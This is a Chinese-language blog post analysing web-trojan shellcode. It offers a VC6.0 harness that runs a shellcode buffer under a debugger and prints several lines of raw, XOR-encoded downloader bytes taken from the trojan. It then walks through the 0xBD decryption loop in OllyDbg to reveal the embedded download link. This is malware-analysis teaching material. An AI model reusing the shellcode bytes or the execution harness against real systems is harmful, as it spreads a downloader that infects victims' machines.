ShellCode,对于我来说一直是一个心向往,而力所不及的技术,万事开头难,先从阅读别人的ShellCode开始吧!
先用VC6.0搭建一个ShellCode环境,之所以选择VC6.0不尽是因为其精简,由于VS之后的版本启用了/GS优化,使得调试ShellCode变的困难,所以建议使用VC6.0!
代码:
#include #include int main() { LoadLibrary("kernel32.dll"); //ShellCode中要使用的.dll char shellcode[]="/x58/x58/x58/x58"; //要调试的Shellcode __asm{ lea eax,shellcode push eax ret; //ret到ShellCode处 } return 0; }
将上面程序编译成exe,再用od打开就可以开始调试了!
下面来看一个具体的例子:
/x58/x58/x58/x58/xeb/x10/x5b/x4b/x33/xc9/x66/xb9/xb8/x03/x80/x34/x0b/xbd/xe2/xfa/xeb/x05/xe8/xeb
/xff/xff/xff/x54/xa3/xbe/xbd/xbd/xe2/xd9/x1c/x8d/xbd/xbd/xbd/x36/xfd/xb1/x36/xcd/xa1/x10/x36/xd5
/xb5/x36/x4a/xd7/xac/xe4/x55/x03/xbf/xbd/xbd/x2d/x5f/x45/xd5/x8e/x8f/xbd/xbd/xd5/xe8/xce/xd8/xcf
/xe9/x36/xfb/xb1/x55/x03/xbc/xbd/xbd/x36/x55/xd7/xb8/xe4/x55/x23/xbf/xbd/xbd/x5f/x44/xd5/xd2/xd3
/xbd/xbd/xd5/xc8/xcf/xd1/xd0/xe9/x42/xab/x38/x7d/xc8/xae/xd5/xd2/xd3/xbd/xbd/xd5/xc8/xcf/xd1/xd0
/xe9/x36/xfb/xb1/x55/x33/xbc/xbd/xbd/x36/x55/xd7/xbc/xe4/x55/xd3/xbf/xbd/xbd/x5f/x44/xd5/xd1/x8e
/x8f/xbd/xd5/xce/xd5/xd8/xd1/xe9/x36/xfb/xb1/x55/xd2/xbc/xbd/xbd/x36/x55/xd7/xbc/xe4/x55/xf2/xbf
/xbd/xbd/x5f/x44/x3c/x51/xbd/xbc/xbd/xbd/x36/x61/x3c/x7e/x3d/xbd/xbd/xbd/xd7/xbd/xd7/xa7/xee/xd7
…………
太长了,不贴出来,如果感兴趣,后面我已经给出测试工程
这是个网页木马里的ShellCode,一般网马的下载链接就藏在ShellCode中,不过这个比较复杂,他有加密功能,下面就通过od找出他的链接
来看od分析:
1.ShellCode入口:
![Capture Capture](http://hi.csdn.net/attachment/201009/26/0_128547389078Vh.gif)
2.关键call
这里要说明一下:不能单步到这里,会出现问题(我也不是很清楚,可能是寄存器环境之类的),在ShellCode入口处时就要在call处右击选择 此处为新eip
再F7步入,这样就到了核心的解密代码:
可以看出是一个循环,整个的处理方式非常巧妙:
利用了call指令的特性,会将下一条指令的地址压栈;这样就可以把call指令下面的机器码当做数据以供解密过程处理!
最关键的两行代码:
0012FB82 80340B BD xor byte ptr [ebx+ecx], 0BD
0012FB86 ^ E2 FA loopd short 0012FB82
可以看出是将ebx+ecx地址处的内容xor 0BD,并且每次要ecx--,直到退出循环
来看看最后的结果:(查看ebx+ecx地址的内容)
很清楚的看到,已经得到了链接!
附测试用例: